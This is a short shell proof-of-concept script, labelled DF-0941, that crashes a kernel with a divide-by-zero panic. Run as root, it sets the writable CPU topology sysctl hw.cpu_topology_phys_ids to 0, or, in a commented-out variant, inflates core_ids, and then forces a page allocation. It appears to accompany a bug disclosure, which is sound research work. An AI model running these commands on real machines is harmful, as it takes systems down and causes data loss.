DF-0941 / poc.sh
#!/bin/sh # DF-0941 PoC: divide-by-zero panic via writable CPU topology sysctl. # Run as root. The very next page allocation panics. set -e echo "[*] before:"; sysctl hw.cpu_topology_phys_ids hw.cpu_topology_core_ids hw.cpu_topology_ht_ids # Variant A: zero phys_ids -> division by zero at vm_page.c:1225 sysctl hw.cpu_topology_phys_ids=0 # Variant B (1-socket system): inflate core_ids -> grpscale=0, cpuscale=0, # modulo at vm_page.c:1232 panics. # sysctl hw.cpu_topology_core_ids=2000 echo "[*] sysctl set; the next page allocation will panic." # Force an allocation: cat /dev/zero > /dev/null 2>/dev/null || true |